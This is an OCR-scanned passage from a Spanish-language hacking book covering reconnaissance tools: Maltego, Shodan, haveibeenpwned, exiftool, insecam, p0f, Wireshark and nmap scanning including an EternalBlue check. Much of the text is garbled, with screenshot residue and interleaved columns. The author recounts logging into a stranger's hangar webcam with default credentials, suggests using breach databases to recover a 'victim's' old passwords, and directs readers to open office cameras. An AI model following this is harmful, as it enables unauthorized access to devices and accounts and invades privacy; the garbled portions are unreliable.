R — o IPvA Address An 1P version 4 address o
¥ Aﬁ_‘i’a}'_““ “T.. |Memberstipof Twiter | Location Alocalion on Molher Earth com
® : ’ 4
2, | Alias An alias for a person E2 MXRecord | A DNS mall exchange record
2 AS An Internet Autenomous System (AS) 1 Netblock A range of IP version 4 addresses DeSpUéS de tener la entidad en la graflca, Yy haber
- Banner P [m— = '@/ Nominatim Lo... Lo... | Nominatim Locaion ., h I
E‘ BuiltWith Rela... A A Relationship idzntified by Bulltwith 1 NS Record A DNS name server record modificado la informacion, vamos a hacer clic
= — — W

&/ Organi ich distr
W Builtwith Tec.. | A Technoiogy identified by BU|ItW|th ] Organizaton | 4 soal group wiich dibtes t”*’

derecho en la entidad, y aparecera un menu

— Person Entity representing & human
B Circular Area A circular area somewhere on Eanh }: T Antet!:ph:ne e .
[F| Company | A business organization Cipbase | oy testorpartthereat llamado transformaciones, este es otro
| § | Device __ﬁdewce such isaphune or camera Pnr!‘ rF ATCP.'UDPEgthﬁpn:t “objeto,, de Maltego, este hace referencia aque
5] NS Name Domain Name System server name /@ Sentiment | This represent the sentiment toward: "
B Document |  document on the ntemet o Sevke | etk e ot o annt il podemos “transformar” una entidad a otra por este
Gitifain An Bl damaln R T 'Tratkjnp lﬂ Represents @ tracking code for [ wub

- ——(} Tuneet Tw::lenlrty
Email Address | An email mailbox to which email messages

B T

[f=

medio. Por ejemplo, si nosotros tenemos un

- if “'l"wirtgr User List }‘w;ﬁer User List enhty
File A file stored mtema[iy in the graph R

dominio, y queremos los correos electronicos de

An internet Uniform Resource Lacator (Il

&5 (i
S |

GPS Coordin... | A location on a World Geodetic System coord... [

A —

Y] Hash Hash entity ,i::::: Tille ﬁ:&::i:;:::fh este, entonces vamos a “transformar” el dominio a
correos electronicos.
Ahora, para empezar una investigacion, debes - Para hacer esto, basta con hacer clic en los
tomar alguna entidad de la cual tengas informacion simbolos de “+” para ver las opciones’ y en los
de la paleta de entidades, y jalarla a la grafica, una simbolos de flechas para iniciar la transformacion.
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Al Transforms

DNS from Demain

Comain owner detail

SULIoJSURI | |

Email addresses from Domain

4+ Files and Documents from Dom...
BXToBX8=0C

Posterior a la transformacion (en este caso le puse

“all transforms”), les aparecera algo similar a esto,
que muestra todo lo que pueda encontrar la
herramienta, entre las opciones estan: servidores,
correos electronicos, numeros telefonicos, y

nombres de personas dentro de la organizacion.

(B
i % s oEm o m
| SR T R T AR T
1 i ™ ® e & W W
ARl 3 Dol B SHONT TENT S T
R =y i &/ & @8 e
AL T N SR

Todas las lineas azules representan conexiones, y
los simbolos, representan entidades, para este

punto probablemente ya encontraste algo de
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informacion util de tu objetivo, pero, todavia puedes
ir mas lejos, realizando transformaciones de los
resultados, de la misma forma en la que te mostré

anteriormente.

g SRS

Aqui, por ejemplo, la herramienta nos dice que ese

correo es de esta persona en especifico.

Maltego es una herramienta bastante completa y
poderosa. Te recomiendo buscar documentacion

acerca de esta herramienta y su uso.
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El buscador de los hackers

Shodan es un buscador, pero no cualquiera, le
llaman el “buscador de los hackers”, y el “buscador
mas peligroso”, fue desarrollado en el 2009, y a
diferencia de otros motores de blusqueda, Shodan
busca informacion especifica que puede ser muy
util para un hacker.

Shodan toma banners, puertos y servicios, e
informacion de la red, para ayudarte en la etapa de
reconocimiento de forma que puedas obtener
suficiente informacién como para empezar a

planear un ataque contra algun sistema.

Para hacer esto, Shodan se aprovecha que casi
todo nuevo dispositivo hoy en dia tiene una interfaz
web que facilita la administracion remota, y aqui es
donde Shodan se aprovecha, todos los dispositivos
que estéen disponibles en la red: desde senales de
trafico, camaras, servidores, routers, bases de

datos y sin fin de dispositivos que pueden ser
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encontrados por Shodan y potencialmente
comprometidos. Debido a esto, es el buscador
favorito de los hackers e investigadores en
ciberseguridad. Se ha documentado casos donde
activos se ven comprometidos debido a fallas
encontradas por este buscador.

Para empezar a usar Shodan, lo primero que tienes

que hacer es ingresar a https://shodan.io y crear

una cuenta.

Shodan Exploits Scanhub Maps Blog Anniversary Promotion egister

ashoory I -

EXPOSE ONLINE DEVICES.

WEBCAMS. ROUTERS,
POWER PLANTS. IPHONES, WIND TURBINES,
REFRIGERATORS. VOIP PHONES.

TAKE & TOUR

Shodan tiene una versién de paga, pero a menos
que lo uses funciones avanzadas, podras acceder

a la mayoria de sus funciones de forma gratuita.
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Ahora, al ingresar a Shodan, tendras dos opciones
principales, la primera es hacer una busqueda
especifica, lo cual es particularmente Util si ya
sabes tu objetivo (por ejemplo, servidores de algin
tipo o en algun rango de IPs), y la segunda, es
entrar a los “directorios de busqueda” de Shodan,
que te mostrara algunas de las busquedas mas

comunes y recientes.

Empezaremos por la segunda.

Explore

pn

Masdiar bk

st

TN
;

Como puedes ver, podrias aqui utilizar las

blusquedas recientes para encontrar camaras web,
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bases de datos, o sistemas de control industrial,

incluso es posible entrar a camaras de los

semaforos.

TN FESAT T TA | = [l o |
103,028 i Login i
: L Watvigaior
- € B gy, fomsany
1 S g ey
§ A5

= i,

P, ¥

L
tasenaa nu
Thoiant am
P b @1 Login i
ees =
. 1e

LS

S i T,
e = s
Kirtuesa =
e s
=2 (L]
wren
d iz Login;x
F1 T 7 i

i Login o

Ui Matamemasiiis Vg

g B s, Vry
y Bt

Al seleccionar una categoria, o hacer una
busqueda, te dara una pantalla similar a esta, en la
que nos muestra cuantos activos encontré y de qué

paises, los banners que nos dan algo de
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informacién de su sistema (Linux, protocolos,
servicios, etc.), y si hacemos clic en el titulo, por
ejemplo en “:::LOGIN:::”, nos enviara a la pagina
del activo, donde podriamos intentar entrar debido
a alguna vulnerabilidad, o contrasefia débil (es muy
comun que dejen las contrasefas/usuarios de

fabrica).

AXIS 212 PTZ Metwork Cameara Livm viaws | Setup | Help

soires
f 1) Go

i

|recssmsn B
|I£n_m_ 1) Zoom wide T Erasstiai

Este, por ejemplo, es una camara web dentro de un
hangar de aviones, con control en java suficiente
como para permitirme mover la camara y ver en

vivo lo que esté pasando dentro del lugar (tal y
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como te lo imaginarias en una pelicula de
Hollywood).

para entrar aqui, lo Unico que hice fue seleccionar
una de las ligas, buscar las contrasefias/usuarios
de fabrica posibles, e intentar todas las
combinaciones (usualmente es “admin”, “admin” o
algo similar), y me dio acceso.

Ahora, una pequefia advertencia: dentro de este
buscador se pueden encontrar dispositivos con
informacion sensible como bases de datos,
luces de trafico, o camaras de trafico, entrar a

estas, o manipularlas de cualquier forma sin

permiso, podria meterte en problemas legales.

Para encontrar algo en particular basta con hacer
una busqueda especifica en la barra de busqueda,
como, por ejemplo, especificar qué quieres un
sistema Linux, o Windows, o con cierto banner de
algun fabricante de software o hardware que

desees atacar.
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Esta herramienta, aunque muy sencilla, puede

¢ Has sido hackeado?

llegar a ser bastante (til, se llama
haveibeenpwned, y puedes encontrarla en

https://haveibeenpwned.com.

Tiene una base de datos de las filtraciones de
datos de usuarios mas grandes, como ha sido

Dropbox, Adobe, LinkedIn, Yahoo!, entre otras, y

en su buscador puedes buscar los correos
electronicos para ver si han sido filtrados en alguna
de estas bases de datos.

¢ Para que pudiera servirte? Con esto podrias darte
cuenta de los servicios a los que esta registrado tu
objetivo, y potencialmente hasta obtener alguna
credencial vieja de este, si es que la encuentras en
la base de datos.

¢Para usar la herramienta, simplemente ingresa el
correo electrénico de tu victima, y haz clic en

“pwned?”
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Check if you have an account that has been oompfomised-i?i"a data breach

| il
@hotmaif.coml pwned <

si el correo ha sido comprometido, aparecera en
donde, cuando, y que ha sido comprometido en la

parte de abajo, algo similar a este ejemplo de

Linkedin.

Linkedn: In May 2016, Linkedin had 164 million email addresses and passwords exposed. Originatly hackedin
3012, the data remained out of sight unitil being effered for sale on a dark markel site 4 years later. Thf"
passwards in the breach were stared as SHAL hashes without salt, the vast majority of which were guickly

cracked in the days foliowing the releaseiofthe data.

compromised data: Email addresses, Passwords

Esta herramienta también te puede ayudar a
auditar que tan buena es tu seguridad personal, ya
que, si tus proveedores son hackeados, tu

informacion esta comprometida.
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Encontrar con que estan hechas las
paginas web

Builtwith es otra herramienta muy sencilla en la

web, te ayudara a identificar con que tecnologia fue

creada una pagina web, lo cual es generalmente lo
primero que verifico cuando estoy viendo como

auditar a una pagina web.

Find out what websites afg

Built With
i.?nz;n a website address, a technology name or a keyward
Al poner en la busqueda la pagina web, te dara una
lista de tecnologias que utiliza, aqui puedes
identificar facilmente si esta desarrollada con

WordPress, Bootstrap o cualquier otra tecnologia.

Puedes entrar en https://builtwith.com
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Encontrar versiones anteriores de paginas
web

Archive, o también conocido como
WayBackMachine, podria definirla esta herramienta
como “la maquina del tiempo” del internet, en esta
herramienta, a la cual puedes acceder en

https://archive.org, puedes realizar busquedas de

paginas web antiguas o versiones anteriores.

Te podria servir para encontrar informacion, ligas o
documentos que los administradores hayan
borrado o corregido, pero tu podras encontrar sus
errores pasados si usas estas herramientas.

Basta con escribir la URL de la pagina que deseas

investigar.

aapieiMaton
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Y te dara un calendario de paginas viejas que ha

guardado la herramienta.

Si haces clic en cualquiera de esas fechas
marcadas, puedes encontrar paginas web

guardadas de esa fecha.
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Encontrar ubicaciones por medio de una

foto

A veces, huestro objetivo sube fotos o archivos ala
red, y no sabe que en ellos hay meta data, es
decir, informacion no visible que es parte del
archivo, que nos puede dar informacion importante.
Por ejemplo, la meta data nos podria dar
informacion del usuario que cred algun archivo, el
sistema operativo que se utilizé para crearlo,
cuando se creo, o incluso, a veces hasta
ubicaciones de donde se tomo, por ejemplo, una

fotografia.
Para eso existen herramientas como exiftool, que

toma los metadatos de una fotografia y te los

muestra. Para utilizar la herramienta, basta con
mandar llamar la herramienta, seguido de la
direccion de la imagen en la que queremos

encontrar informacion.

# exiftool foto.jp
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Podemos esperar una respuesta similar a esta:

Image Height : 1536

Encoding Process . Baseline DCT, Huffman coding
Bits Per Sample : 8

Color Components )

Y Cb Cr Sub Sampling : YCbCrd:2:0 (2 2)
Aperture Ll

GPS Latitude : ieg

GPS Longitude G deg

GPS Position : deq

Image Size : 2048x1536

Megapixels v a3l

Scale Factor To 35 mm Equivalent: 8.5

Shutter Speed AL

Create Date . 2018:07:17 19:26:23.0278
Date/Time Original : 2018:07:17 19:26:23.0278
Modify Date : 2018:07:17 19:26:23.02/8
Thumbnail Image
ract)

Circle Of Confusion
Field Of View

Focal Length < 3.0 mm (35 mm equivalent: 25.0 mm)
Hyperfocal Distance ¢ 1.44

Light Value B

: 0.004 mm
: 71.5 deg

Por ejemplo, en esta foto se pudo encontrar la
ubicacion geogréfica de donde se tomo la foto en
base a la meta data del archivo, también se obtuvo
el nombre del dispositivo que la tomo, y el modelo

del celular con el que se tomo.
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. (Binary data 17025 bytes, use -b option

‘y‘!"!'“f? )

Este es otro buscador, te muestra camaras web en

Entrar a camaras de seguridad

vivo que puedes acceder directamente, y cierto, en
Shodan podrias encontrar lo mismo, pero no con
tanta facilidad ni confiabilidad, aqui todas las
camaras estan 100% abiertas sin esfuerzo.

Por ejemplo, busque México, y me muestra todas

las camaras en México que estan abiertas:

IP cameras: Mexico

At Webe amX P catmera in Maxico Chidat Obregan

Este servicio es mas para demostracion de todas
las camaras que se pueden encontrar y entrar, por

ejemplo, en Monterrey hay algunas disponibles
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i Vi Print
A veces vas a lograr obtener informacion tal como =

< Show original

dentro de oficinas de empresas, las cuales podrian El ejemplo demostrado es de 5 W o
poner en riesgo la seguridad de dichas empresas. Gmail, pero Outlook y las otras L
Puedes entrar en https://www.insecam.org/ . alternativas también tienen una s
opcion similar. ]

Rastreo de IP e informacién en email p—— I
!

x

la IP o incluso un correo electronico, y desde ese —e

; g : d
punto puedes sacar mas informacion. Por ejemplo, De esta pantalla puedes darte cuenta de

o : : b ; i i6 uede obtener, como la IP
si tienes una IP, podrias sacar informacién de qué informacion que Sé p

desde donde se envio (lo cual podria delatar el

: i i ion interesante
IP asignada a una empresa) de que empresa vinoy servidor SMTP), pero, la informacio ,
| esta en la parte inferior, en donde podras obtener

ciudad proviene y hasta potencialmente (si es una

donde esta localizada, para esto, podrias usar !

ft St : i 55 informacion, incluyendo si al enviarse
servicios tales como https://ipinfo.io y simplemente | todavia mas info y

‘ i ' i nta con encriptacion o no.
ingresar en el buscador la IP que quieras el servidor cue p

Original Message

encontrar.
. : s Message D ‘
Por otro lado, es posible obtener informacion |
. -~ Crealed at: Fi, Ju 1 201821 4:21 PM (Delivered afler 178 seconds) |
adicional de la meta data de un correo electrénico,
From:
para hacer esto, basta con abrir el correo
To ‘
electronico, y ponerle en la opcion de “ver original”. - J
ubjec!
|
SPF: NEUTRAL with IF 2arn mome
DKIM: 'PASS' with domain Lgarn more
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Se ve como informacion inutil y poco entendible a Reconocimiento en red pasivo
primera vista, sin embargo, al copiar y pega el

o . - y peg A veces necesitas obtener informacion de sistemas
codigo en esta direccion como

. . dentro de tu red local, o que estan haciendo
https:/whatismyipaddress.com/trace-email, podria

, _ conexiones con tu sistema, para esto, existe una
empezar a hacer mas sentido.
: erramienta llamada POF.
Trace Email Analyzer p
_ Lo que hace POF, es que interpreta los paquetes
Paste the header you've copied in the box

— que entren a la interfaz, e intenta interpretarlos

| para obtener de qué sistema fueron enviados.

Para utilizar POF en Kali, basta con escribir el
comando pOf -i <interfaz>, en donde <interfaz> es

el nombre de interfaz en el que vas a escuchar los

paquetes.

~# p0f -1 ethO

Ahora, esto solo esta escuchando e interpretando

. g S paquetes en tu interfaz, asi que por si solo
-1 F_fnd Email Sender

probablemente no te sera util, sin embargo,

Basta con pegar el codigo de los metadatos en | combinado con otras herramientas, como por
esta caja y presionar el botén rojo.

ejemplo ettercap, que se ve en capitulos
posteriores, te podria ser muy util.

Como respuesta, podrias esperar de esta
herramienta algo similar a lo siguiente:
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.-[ 192.168.1.67/60144 -> 35.166.234.151/443 (syn)

client
05

l

| 192.168.1.67/60144
|

| dist

|

|

l

Linux 3.11 and newer
0

none
4:64+0:0:1460:mss*20,7:mss,sok,ts,nop,ws:df,idﬁ

params

raw_sig

Que como ves, te muestra la IP y puerto de donde

se mando el paquete syn, y el posible sistema

operativo a donde pertenece este paquete.

WireShark - Analisis de paquetes

Wireshark es una de las mas grandes
herramientas para ingenieros en software y
hackers, esencialmente es un analizador de
paquetes, es decir, captura todos los paquetes en
la interfaz que le mencionas, y te muestra cada
detalle de estos en base al modelo OSI.

Para ejecutarlo, basta con escribir WireShark en la

terminal o abrir la aplicacion por su icono.

'~# wlreshar
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Al abrirse, te aparecera una pantalla similar a la
siguiente, en donde te muestra varias interfaces
que podrias seleccionar para interceptar paquetes

en estas interfaces.

f [ e o e dowie Yoo Thetoey Whees Dok e
in
Toe

2| @
ar
I

Antes que selecciones una, quiero que te vayas a
la pestafa de Edit > Preferencias, y aqui hacer
clic en protocols, estos son todos los protocolos
que WireShark conoce y acepta, adicionalmente, si
haces clic en uno, podras ver que en algunos
puedes modificar algunos factores como ingresar
llaves de desencriptacién para desencriptar los
paquetes que entren bajo ese protocolo.

En la imagen muestro como podemos interceptar
paquetes wifis en el protocolo IEEE 802.11, e

ingresar claves de desencriptacion WEP y WPA.
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i View Go Capture Analyze Statistics Teleph

Q,

=== — Fil

Copy * Appearance

Columas
Fost and Colix
Layout

i Caplure
Expert

ter Buttons

i Mame Resolution

. OAIApd
v 29West

2dparityfec
3GFPZ ALL
GLoWPAN
B02.11 Radio

800 11 Radict

: Protacols

Wireshack - Preferences

Display hidden protorol items
Display biyte flelds with a space character between bytes
Laok far incomplete dissectors

Enable stricter canversation Wracking heunstics

Configuration Profiles Ctri+Shift+A

HiP
HiGnet
HisLiIP
HL?
HNBAP
HP_ERM
HPFEEDS
HSMS
HSRP
HTTP
HTTRZ
1APP
A2

B

ICAP
ICEP
Icmp
Ice
IO

- EEE8021Y |

" IEEE 80211 wireless LAN

Wirastath - Preferancay

¥iResprbia 1 WEP and WPA Dicryption Kays

Ignere vendor-4 ;
v Call subdissectd Keyt‘,:pa_t\ey = ——
Assume packel§ -
v Validate the FCS
lgnore the Protectf
* No
Yes - withou| |
Yes - with |
VWPA Key MIC Leng

" | Ocncd iy

¥ Enable decryplion

Decryptionkeys  Edit

Ok, ahora si, en la primera imagen, haz clic en la

interfaz que estés utilizando (probablemente es

donde veas mas lineas activas) y haz clic en el

botén de la aleta azul 4 , 0 simplemente haz ‘

doble clic en la interfaz.
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Inmediatamente empezara WireShark a mostrarte
todos los paquetes capturados en la siguiente

pantalla.

| Iresmasaien
e

Quizas podria verse al inicio un poco intimidante,
pero, realmente es bastante sencillo de interpretar,
la barra de navegacion de arriba te permite filtrar
los paquetes en base a tipo de protocolo, fuente o
destino del paquete (de donde o a donde se
envio), puerto utilizado para enviar o recibir, entre
ofras cosas, un ejemplo podria ser si escribes http
en el filtro, te mostrara todos los paquetes enviados
en el protocolo http, que son usualmente paquetes
en un navegador, y si escribes por ejemplo
ip.src==<ip>, te mostrara todos los paquetes que

se mandaron desde la fuente de la IP que hayas
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especificado, ip.dst==<ip> muestra los paquetes
que se hayan mandado a esa IP.

Por otro lado, puedes ver mas detalles de un
paquete en la seccion inferior (la gris), que muestra
por capas del modelo OSlI, La informacion de ese
paquete, desde los bits, hasta lo que esta dentro
del paquete.

En el ejemplo siguiente, analizando el paquete
HTTP, podemos ver de qué direccion MAC a que
direccion MAC se envid, luego, que se envié de la
direccion IP 192.168.1.83 a otra direccion IP, que
es un paquete TCP que se envi6 desde el puerto
51326 al 80, y finalmente que es un paquete en el
protocolo HTTP, y dentro de esta seccién, el

meétodo HTTP que utilizo, y el contenido de este.

b Frame 72: 149 bytes on wire (1192 bits), 149 bytes captured (1192 bits) on interface 0
v Ethernet IT, Src: Micro-St_7f:7fiee (d4cicc:6a:7f:7f:ee), Dst: Shenzhen_ad:af:28 (d8:37:beid
+ Internet Protocol Version 4, Src: 192.168.1.83, Dst:
v Transmission Control Protocoi orc Port: 51326, Dst Port; 80, Seq: 1, Ack 260, Len: 95
- Hypertext Transfer Protocol
» GET /pol1?push_id=4e0b6Ff6-300F 46e2-99ef-961ec053210a HTTP!! BAYRY

Host: push,bitdefender,net\r\n

\r\n

Full request URI:

[HTTP request 2/2)
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para este punto ya te habras dado cuenta de que
Wireshark te da mucha informacion de la data que
se transmite por tu interfaz, pero de seguro te
preguntaras: ¢En qué me sirve? Bueno, al hacer
una prueba de penetracion o incluso asegurando
una red, esta informacion se vuelve
extremadamente relevante, por ejemplo, si
entiendes como funciona un ataque, podrias

interpretar de los paquetes si esta sucediendo uno

y desde donde.

Por medio de WireShark, en los siguientes
capitulos veremos como realizar espionaje en una
red, y por medio de WireShark podrias identificar si

alguien esté haciendo este tipo de ataques en tu

red facilmente (lo mencionare al llegar a ese tema).

También, imaginemos que estas intentando
identificar a donde se conecta alguna aplicacion
tuya, o un malware en un ambiente controlado
tuyo, podrias obtener esa informacion facilmente
mientras que los paquetes pasen por la misma

interfaz, WireShark incluso puede ser utilizado
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junto con herramientas de intercepcion de data
para hacer que paquetes de otros sistemas pasen
por nuestra interfaz, de forma que podamos
espiarlos, incluso podriamos utilizar interfaces
fuera del internet, como un SDR para emular una
red celular e intervenir mensajes de texto o
llamadas telefdnicas, pero eso es algo mas
avanzado, el punto aqui es que WireShark es una
herramienta bastante completa y poderosa, y vale
la pena que lean mas al respecto, ya que tendria
que escribir un libro completamente dedicado a
WireShark para explicarlo de lleno.

Mientras te dejare una fuente donde puedes leer de
otros tipos de comandos para filtrado de paquetes.

https://wiki.wireshark.org/DisplayFilters
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Reconocimiento Activo

Ya que terminamos de realizar reconocimiento de
forma pasiva, sigue el reconocimiento activo, igual
que el reconocimiento pasivo, tiene algunas
ventajas y desventajas.

La principal ventaja y razon por lo que esto también

es indispensable, es que este tipo de

reconocimiento es altamente confiable, y nos dira
cosas esenciales, como sistema operativo, puertos,
servicios, e incluso aqui podremos empezar a
identificar vulnerabilidades, la desventaja del
reconocimiento activo es que aqui vamos a “tocar”
directamente a los objetivos, entonces si N0 soMos
cuidadosos, nos puede detectar algun IDSoIPSy
bloquear el acceso faciimente.

También, es importante mencionar, que esta
actividad es sensible, es decir, si escaneas un
sistema sin permiso, estas realizando
actividades potencialmente jlegales y puedes

meterte en problemas.
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Nmap

Nmap, a veces llamado la navaja suiza del

hacking, es una herramienta escrita en Python para
escaneo y reconocimiento de sistemas.

Es decentemente facil de usar, pero increiblemente
poderosa, el fundamento de nmap, es que manda
paquetes TCP o UDP, y analiza las respuestas del
sistema a estos paquetes, y con su base de datos,
asume informacion del sistema, pero a pesar de
gue son asunciones, tiene un alto grado de
confiabilidad.

Por ejemplo, digamos que quisiéramos saber qué
servicios esta corriendo el sistema en

scanme.nmap.org (escaneamos este sistema ya

gue tenemos permiso explicito para hacerlo, si

hiciéramos esto con otro sistema, a menos que sea

nuestro, estaremos cometiendo un acto ilegal). Lo

que sucede con este scan, es mandar paquetes
TCP SYN a todos los puertos donde
potencialmente el sistema esté corriendo los

servicios, cuando responde que seria en
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ACK/SYN, significa que ese puerto esta siendo
utilizado, y el servicio default en ese puerto es el
que mas probable esta siendo utilizado
(recordemos que los servicios corren por defecto
en un puerto en especifico, por ejemplo, el HTTP
en el 80, el SSH en el 22, etc.).

Para hacer lo que previamente describi, basta con

escribir el comando nmap -sV scanme.nmap.org

_:~# nmap -SV scanme.nmap.org

Quiero que pongas atencion a la estructura para
utilizar nmap. Primero, escribiremos el nombre de
nmap para mandar a llamar la herramienta, luego
escribimos el comando que se va a utilizar,
representado por un guion, seguido de letras que
representan algo que quieres que haga la
herramienta, en este caso fue -sV, que significa
‘service version” (version de servicios), y, por
Ultimo, le damos el objetivo al cual va a escanear.**
**Nota: no tiene que ser un dominio, puede ser una

IP. o varias. También, puedes pedir varias acciones
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en el mismo comando, de cualquier forma, puedes
considerar esto como la estructura de utilizacion de
nmap: nmap -<comando> <objetivo>

Luego de realizar ese comando, recibimos una
respuesta, aqui podemos ver que nos muestra lo
que pedimos en orden.

Primero nos muestra la IP que fue escaneada, y si
esta disponible, seguido de cuatro columnas, que
nos muestra el puerto que se detecto abierto, y si
es un puerto tcp o udp, el estado en el que se
encuentra, el servicio que esta corriendo en este

puerto, y la version de este servicio.

inap scan report for scanme.nmap.org (45.33.32,156)
Host is up (0.051s latency).
Other addresses for scanme.nmap.0rg (not scanned): 2600:3c0L::f03c:91ff: fel8:bb2f
Not shown: 995 closed ports
STATE ~ SERVICE  VERSION
open  ssh OpenSSH 6,6.1p1 Ubuntu 2ubuntu2. 10" (Ubuntu: Linux; protocl
filtered smtp
open  http Apache httpd 2.4.7 ((Ubuntu))
open  nping-echo Nping echo
31337/tcp open tepwrapped
Service Info: 0S: Linux; CPE: cpe:/o:Uinux:Llinux kernel

Service detection performed. Please report any incorrect results at https://nnap.org/sit
nap done: 1 IP address (1 host up) scanned in 8.94 seconds
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Algo importante que mencionar es que nmap por
defecto, escanea los 1000 puertos mas comunes,
asi que si quieres escanear un puerto/servicio que
sea poco comun, deberias decirselo
explicitamente.

La practica anterior sirve de cierta forma para
encontrar informacion de un sistema externo, si por
ejemplo quieres escanear a un sistema en tu red
local ;qué se hace? Esto es todavia mas sencillo,
primero, te interesaria saber si en si, el sistema
esta “vivo” en la red, para esto, basta con escribir el
comando nmap -sP <IP>/24, esto lo que hara es
que escaneara todas las IPs dentro de ese
segmento y te dird quien esta recibiendo y

mandando respuestas.

.~# nmap -sP 192.168.1.1/24

En las direcciones IPV4, cada numero representa 8
bits, por lo que decirle que escanee 24 bits, lo que
significa que escanee a 3 digitos, que son los que

estan en ese segmento de la red, pero pudiste
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haber puesto simplemente un rango, algo como
192.168.1.0-254 y habria sido lo mismo.

Podras esperar como respuesta algo similar a esto

ARP Ping Scan Timing: About 1.96% done; ETC: 16:06 (0:00:50 remai
Nmap scan report for 192.168.1.70

Host is up (0.6014s latency).

MAC Address: 9C:B6:D0:10:85:81 (Rivet Networks)

Nmap scan report for 192,168.1.71

Host is up (0.00057s latency).

MAC Address: 70:4F:57:28:BE:84 (Tp-link Technologies)

Nmap scan report for 192.168.1,83

Host is up (0.000079s latency).

MAC Address: 4C:CC:6A:7F:7F:EE (Micro-star Intl)

Nmap scan report for 192.168.1.132

Host 1s up (0.0014s latency).

MAC Address: E4:F0:42:4B:FA:02 (Unknown)

Nmap scan report for gpon-infinitum.nokia.com (192.168.1.254)
Host is up (0.0096s latency).

MAC Address: D8:37:BE:4D:AF;:28 (Shenzhen Gongjin Electronics)
Nmap scan report for 192.168.1.67

Host 1s up.

Nmap done: 256 IP addresses (6 hosts up) scanned in 4.78 seconds

Esta accion es lo primero que harias en una red
local, y si, no te da una cantidad inmensa de
informacion de todos los sistemas, pero te dice

cuantos sistemas estan en la red, y utiliza paquetes
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ARP (que son menos comunmente filtrados) para
hacerlo.

Seguido de eso, tu siguiente pregunta en una red
local deberia de ser ¢ qué sistema operativo tienen
esos sistemas? Para esto, utilizamos un comando
similar, pero con la opcion -O, algo asi como nmap
-0 <IP>/24, lo que hace este comando, es que
obtiene los servicios del sistema, y hace una
correlacion entre ellos y los sistemas operativos en
la base de datos, dandote un sistema operativo

“estimado”, pero con decente confiabilidad.

:~# nmap -0 192.168.1.1/24

Este es un ejemplo del resultado que obtendrias,
como puedes notar, te muestra los puertos y
servicios, seguido de una “estimacion” del sistema
operativo, lo que sucede, es que no existe un
“paquete” que puedas mandar para “preguntar” el
sistema operativo, entonces lo que hace nmap es
preguntar ¢ qué servicios tiene corriendo el sistema,

y preguntar a su base de datos “que sistemas
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NSEDoc

Index
NSE Documentation

Categories

operativos usan estos servicios?” y te da la

respuesta a ello.

Host 1s tp (0,035 latency). 1 ,
G Estas son las categorias para lag  autn

broadcast

B ina ha des " brute
q p arrollado scripts e

map.org (not scanned}: 2608:3c01:: f03c: A1ff: fel8:bhaf

especializados, por ejemplo, i )
expioit

vamos a imaginar que external

fuzzer

X 4.4 (06%), HP 2000 63 AS device ( ‘ encontramos una maquina con iy

0 4,10 (968] Linux 4.2 (988, Ass RI-AG e
: . _— safe
Windows 7, queremos identificar version

vuln

si tiene la vulnerabilidad

Scripts de nmap Eternalblue, unas de las vulnerabilidades mas

Ya vimos un poco de lo que puede hacer nmap, sin comunes en este sistema operativo, podriamos

embargo, hay miles de otras funciones que tiene simplemente irnos al buscador que esté a la

nmap, desde encontrar vulnerabilidades, hasta izquierda de la pagina y escribir Eternal Blue.

semalblue

escanear para detectar firewalls o sistemas de (S — T
Search Résults

seguridad, funciones para evadir sistemas de

BB resuRs 10, 11 seconds:

seguridad.
Para esto, vale la pena hablar de los scripts de

nmap, que estan en su base de datos oficial, para

LEHE

erable mot
ierable Lo 2 lemote code execition vuinerability (ms17-010. ak.a EternalBlus) Tne vulnerabiily is aclively
it iy 1y

Hacer clic en el script que hara el escaneo para

utilizarlo, deberas ir a ! .
dicha vulnerabilidad y leer los detalles de como se

https:Hnmap.orq/nsedoc/index.html , donde

utiliza en la pagina inferior d Aqi
- ela
encontraras lo siguiente: pagina. Lo que
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mas nos interesa es el ejemplo de uso y los

argumentos posibles.

Example Usage

* nmap -pdd5 --script smb-vuln-msl7-010 <targets

s nmap -pdd5 --script vuln <target>

Y simplemente lo probamos, en mi caso el sistema
Windows 7 en mi red tiene la IP 192.168.1.141, asi
que escribo nmap -p445 --script smb-vuln-ms17-
010 192.168.1.141

-# nmap -pddd --script smb-vuln-ms17-010 192,168.1,

Y como respuesta, obtendras algo como esto, en lo
qgue mi principal interés es si dicha maquina
aparece con la palabra VULNERABLE, y dado que
es el caso, podemos asumir que un ataque con

este exploit comprometeria a la maquina.
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) report for 192.168.1.141
»p (0,60027s latency).

STATE SERVICE

open microsoft-ds

0:0C:29:BE:D4:77 (VMware)

ript results:

7-010:

LE:

e Code Execution vulnerability in Microsoft SMBVL servers (ms17-010)
o: VULNERABLE

(VE:CVE-2017-0143

actor: HIGH
A critical remote code execution vulnerability exists in Microsoft SNBvl
servers (ms17-010).

date: 2017-03-14
'loqs technet.microsoft. com/msrc/2017/05/12/custoner-guidance-for-wannacrypt-attacks/

ttps: //cve mitre.org/cgi-hin/cvename, cgl?nane=CVE-2017-0143
|qus J(technet.microsoft, com/en-us/library/security/ms17-010., aspx

1 IP address {1 host up) scanned in 0,69 seconds

Asi como este, hay cientos de exploits que podrias
utilizar para obtener toda clase de informacion de
los sistemas que vayas a auditar, simplemente
tienes que saber que buscar, como y donde en la

base de datos de nmap.
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Estados

En nmap, de seguro notaste algo llamado STATE
en el escaneo de servicios, esto se refiere al
estado en el que esta dicho puerto, estos son los
estados que puede estar y que significan:
1. OPEN/ABIERTO
Esto significa que el servicio esta aceptando
paquetes TCP, UDP o SCTP en este puerto.
Estos son los puertos que mas nos
interesan, ya que cada puerto abierto es una
potencial entrada a un ataque.
2. CLOSED/CERRADO
Esto significa que el puerto es accesible, sin
embargo, no hay servicio que responda en
este puerto. Esto es util para saber si el
objetivo esté activo, y ayuda en la deteccion
de sistema operativo, también, vale la pena
monitorearlos, ya que podrian abrirse si se
inicia el servicio en el sistema.
3. FILTERED/FILTRADO

Esto sucede cuando nmap no puede
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determinar si el puerto esta abierto debido a
que los paquetes que manda nmap estan
siendo filtrados. Esto podria ser debido a un
firewall, es el tipo de estado que mas frustra

un ataque.

. UNFILTERED/NO-FILTRADO

El estado no filtrado significa que el puerto
es accesible, pero nmap es incapaz de
determinar si esta abierto o cerrado. Solo el
escaneo de paquetes ACK, que se utiliza
para identificar reglas del firewall, clasifica
puertos en este estado, podras encontrar
mas informacion al escanear el mismo
puerto con otro tipo de escaneo, tal como
SYN o FIN, para determinar si el puerto esta

abierto o cerrado.

. OPEN|FILTERED/ABIERTO|FILTRADO

Nmap da este estado cuando no puede
identificar si el puerto esta abierto o filtrado.
Esto pasa cuando los puertos abiertos no

dan respuesta.
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6. CLOSED|FILTERED/CERRADO|FILTRADO
Esto sucede cuando nmap no es capaz de
determinar si un puerto esta cerrado o
